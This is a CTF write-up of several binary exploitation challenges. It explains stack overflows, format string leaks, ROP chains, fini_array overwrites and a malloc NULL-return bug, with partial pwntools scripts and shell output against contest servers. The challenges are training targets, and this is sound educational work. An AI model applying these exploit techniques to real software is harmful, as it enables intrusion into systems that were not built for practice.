I played this CTF event with the WeakButLeet team and in the end, we managed to get 18th rank, sadly we couldn’t do much crypto challenges but overall it was a fun CTF to get refreshed, there were other CTFs running as well but I only played this as there was a local CTF going on. In the end, I manage to solve 7/8 pwn challenges and remaining one was solved by Faith, super talented guy.
Pwn Sanity Check
This was more of a sanity check challenge for the pwn challenges, this was ridiculously easy:-
First off the main function calls the vuln function which takes the input from the fgets, there was a buffer overflow vulnerability in the fgets call since the buffer was of size 0x40, while the size fgets takes is 0x100 making it vulnerable to stack overflow. In the vuln function it checks if the rbp - 0x4 has the value 0xdeadc0de which calls the shell function it the value turns out to be same but the shell function wasn’t spawning shell, it turns out to be troll function. Next up, there was a win function:-
This function spawns a shell /bin/sh but only if the given argument to the function will be equivalent to 0xdeadbeef and 0x1337c0de respectively. In order to do so, we find the gadgets using ropper, since the binary is 64 bit, the calling convention of the 64 bit architecture says 1st argument for a function calls goes to the rdi while the second goes to rsi and so on. We find two useful gadgets here:-
0x0000000000400813: pop rdi; ret; 0x0000000000400811: pop rsi; pop r15; ret;
Now, we can just create a ROP chain and give the value 0xdeadbeef to the rdi and 0x1337c0de to the rsi and give any junk value to the r15 since it doesn’t matter what r15 holds, the exploit was as follows:- py
from pwn import *
p = remote("dctf-chall-pwn-sanity-check.westeurope.azurecontainer.io", 7480)
❯ python3 pwn_sanity.py [+] Opening connection to dctf-chall-pwn-sanity-check.westeurope.azurecontainer.io on port 7480: Done [*] Switching to interactive mode will this work? you made it to win land, no free handouts this time, try harder one down, one to go! 2/2 bro good job $ cat flag.txt dctf{Ju5t_m0v3_0n} $
Pinch Me
This challenge was also simple, loading the binary in gdb and checking the functions it contains, we can see that there’s a main function and vuln functions which are of interest:-
The vuln function has an obvious buffer overflow as same as of the Pwn Sanity only the size changed yet the vulnerability remains the same, the function checks whether the variable stored at the rbp - 0x8 is equal to the 0x1337c0de and if it does calls system("/bin/sh"), so in order to do, we know that the buffer we control the input for is stored at rbp - 0x20 and the rbp - 0x8 was compared to the value of 0x1337c0de, so we can just do 0x20 - 0x8 to get the offset for the variable we need to control the input for which would be 0x20 - 0x8 = 24, hence 24 is the offset for the comparing value, then we can just grab the flag from the server:-
❯ python3 pinch_me.py [+] Opening connection to dctf1-chall-pinch-me.westeurope.azurecontainer.io on port 7480: Done [*] Switching to interactive mode Am I dreaming? $ id uid=1000(pilot) gid=1000(pilot) groups=1000(pilot) $ cat flag.txt dctf{y0u_kn0w_wh4t_15_h4pp3n1ng_b75?}$ [*] Interrupted
Readme
This one was a very basic format string challenge, checking the vuln function:-
We can see it opens the flag.txt file via fopen and read the flag from the file and store it on the stack, then it takes he input via fgets and then print the given input via printf without any format specifier, this proposed the format string vulnerability and with that we can leak the values from the stack, since the flag is also stored on the stack, we can just as well leak it, using the following exploit, we can get flag:-
p = remote("dctf-chall-readme.westeurope.azurecontainer.io", 7481) p.recvline() p.sendline("%8$lx-%9$lx-%10$lx-%11$x") p.recvuntil("hello ") output = p.recvline().strip().split(b"-") flag = [unhexlify(x)[::-1] for x in output] print(b"".join(flag)+b"}") p.close()
Running the exploit:- r
❯ python3 readme.py [+] Opening connection to dctf-chall-readme.westeurope.azurecontainer.io on port 7481: Done b'dctf{n0w_g0_r3ad_s0me_b00k5}' [*] Closed connection to dctf-chall-readme.westeurope.azurecontainer.io port 7481
Baby BOF
Baby BOF was normal return to libc attack, since the dockerfile is provided with the challenge which showed that the binary is running in the Ubuntu 20.04 container, hinting that the libc here used is LIBC 2.31, checking the vuln function:-
Again, the fgets function call is vulnerable here, we can see that the buffer is of size 0xa while the size acceptable was 0x100 making it vulnerable to buffer overflow. Now, for the ret2libc part, I would recommend you to start reading here.
The process is exact same, leak the GOT address of the puts and call main again and call system(“/bin/sh”):-
Now, this shows off that that there’s Canary and NX protection while the PIE and RELRO is disabled, this means we can write the _fini_array or any of the Global Offset Table entries. The main function calls the magic function, checking it:-
We can see that the program calls scanf two times and take unsigned long long, first it takes a value, second input takes another input and attempt to write the value given by the first input to the address of the second input, that means it allow us to write any value to any address having r/w access to. Since the RELRO is disabled, we can overwrite the destructors which will be run once the process will come to an end to the address of the win function which prints the flag:-
❯ python3 magic_trick.py [+] Opening connection to dctf-chall-magic-trick.westeurope.azurecontainer.io on port 7481: Done [*] '/home/d4mianwayne/Pwning/CTFs/ductf/magic_trick' Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) [*] Switching to interactive mode thanks You are a real magician dctf{1_L1k3_M4G1c} [*] Got EOF while reading in interactive $ [*] Interrupted
Hotel ROP
This was yet another ROP challenge but kind of a twist on it, it has PIE and NX enabled but the Canary was disabled:-
Checking for the function named main function, we can see it prints the address of the main function, so much for the PIE security, PIE can bypassed since we get the address of the function, we can obtain the base address of the ELF itself. Then it calls the function vuln:-
The vuln function was calling the fgets and the given size to the fgets more than the buffer could hold, so it was a stack overflow. Secondly, there were two other functions:-
The california function adds the 4 bytes to the win_land global variable, the 4 bytes were /bin and the next function named silicon_valley adds the remaining 4 bytes /sh\x00 to the win_land making the win_land equals to the /bin/shx00, then there was another function named loss, which was as following:-
There’s some twist to the loss function, first it expects 2 arguments from the function call then it checks if the sum of 1st and 2nd argument is equals to the 0xdeadc0de if it is, then check if the first argument is equal to the 0x1337c0de once it is, calls the system with the win_land as it’s argument. In order to exploit this, with the gef we find the offset which was 0x28. then we must call californiaand silicon_valley respectively to make the win_land variable equals to /bin/sh then call the loss function.
During the call of the loss function, since we know that it expects the 1st argument to be the 0x1337c0de and the sum of 1st and 2nd should be 0xdeadc0de, we can just find the right value for the second argument by subtracting the 0xdeadc0de from the 0x1337c0de which will be:-
1 2 3 4
gef➤ p 0xdeadc0de - 0x1337c0de $4 = 0xcb760000 gef➤
Now, the exploit will be:-
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
from pwn import*
p = remote("dctf1-chall-hotel-rop.westeurope.azurecontainer.io", 7480) elf = ELF("hotel_rop") p.recvuntil("Welcome to Hotel ROP, on main street ") elf.address = int(p.recvline().strip(), 16) - 0x136d print(hex(elf.address))
❯ python3 hotel_rop.py [+] Opening connection to dctf1-chall-hotel-rop.westeurope.azurecontainer.io on port 7480: Done [*] '/home/d4mianwayne/Pwning/CTFs/ductf/hotel_rop' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled 0x564fdcdc6000 [*] Switching to interactive mode You come here often? I think you should come here more often. Welcome to Hotel California You can sign out anytime you want, but you can never leave You want to work for Google? $ id uid=1000(pilot) gid=1000(pilot) groups=1000(pilot) $ cat flag.txt dctf{ch41n_0f_h0t3ls}$ [*] Interrupted
Formats last theorem
This was another format string challenge, performing the checksec on the binary we get the:-
1 2 3 4 5 6 7 8 9
gef➤ checksec [+] checksec for '/home/d4mianwayne/Pwning/CTFs/ductf/formats_the_theorem' Canary : ✘ NX : ✓ PIE : ✓ Fortify : ✘ RelRO : Full gef➤
We have almost all the protections enabled, since RELRO is Full meaning we won’t be able to overwrite the GOT entries and since the challenge description hint us toward the __malloc_hook, we have to go the usual way to overwrite the __malloc_hook with the one_gadget address and call the malloc with the help of printf which will eventually call __malloc_hook resulting in the one_gadget being executed.
Also, since the attachment had the docker container to hint towards LIBC, we can see that the binary was running in the Ubuntu 18.04 container which uses the LIBC 2.27ubuntu1.4 version, there was vuln function, which had format string vulnerabilty:-
So, in order to exploit this binary, we first needed a LIBC leak to determine the base address of LIBC so that we will be able to determine the __malloc_hook and one_gadget address. Surprisingly, one of the LIBC address at the offset of 2, which I used to get the base address of the LIBC, then using the pwntools fmtstr_payload to write 2 bytes at a time.
This challenge was solved by Faith, later he shared the exploit script for the challenge, he told me:-
it was a simple bug, malloc returned null but they didnt check for null and just added a controlled value to it(edited) [12:51 PM] PIE was disabled, so u can make malloc return null with a large size, then add any value to create a pointer to any memory address
v12 = __readfsqword(0x28u); if ( dword_6020C0 > 9 ) { puts("You already have to many memories stored in here. You don't want another one."); } else { important = 0; recent = 0; idx = 0LL; puts("at what page would you like to write?"); read_long((__int64)&idx); if ( heap_list[idx] || idx > 9 ) { puts("there is already something written at that page."); } else { puts("name:"); v0 = idx; struct_list[v0] = malloc(0x20uLL); read_data((char *)struct_list[idx], 16); name = (const char *)struct_list[idx]; name[strcspn(name, "\n")] = 0; puts("How long is your memory"); read_long((__int64)&size); chunk = (char *)malloc(size); puts("Sometimes our memories fade and we only remember parts of them."); read_long((__int64)&offset); puts("Would you like to leave some space at the beginning in case you remember later?"); if ( offset <= size ) { if ( chunk ) { for ( i = 0; i < offset; ++i ) chunk[i] = 95; } chunk += offset; fflush(stdin); puts("What would you like to write"); read_data(chunk, size - offset); puts("Would you say this memory is important to you? [Y/N]"); read_data(is_important, 2); if ( is_important[0] == 89 ) important = 1; _IO_getc(stdin); puts("Would you say this memory was recent? [Y/N]"); read_data(is_recent, 2); if ( is_recent[0] == 89 ) recent = 1; heap_list[idx] = chunk; recent_list[idx] = recent; important_list[idx] = important; offset_list[idx] = offset; size_list[idx] = size; ++dword_6020C0; puts("Memory created successfully\n"); puts(byte_401786); fflush(stdin); } else { puts("Invalid offset"); } } } return __readfsqword(0x28u) ^ v12; }
The vulnerability was that the program doesn’t check whether the pointer returned by the malloc is valid or not, the program also allow us to enter a, kind of, offset which will be added to the pointer returned by the malloc, since there’s no check for invalid/NULL return value from the malloc, we can exploit this one by giving a large size of the malloc which will return NULL, then we can give the address of the global array which stores the name pointer, what we will exactly do here is explained as follows:-
Then, we firstly create a chunk which will act as a decoy for performing rest of the exploit, we create this chunk, making the 0x6022a8 will point to the BBBBBBBBBBBBBBBB. We will also create a chunk with the name being /bin/sh\x00
Now, we will force the malloc to return NULL then make the offset to the pointer of the last chunk[9] which we overwrite with GOT address of the puts, giving us a LIBC leak.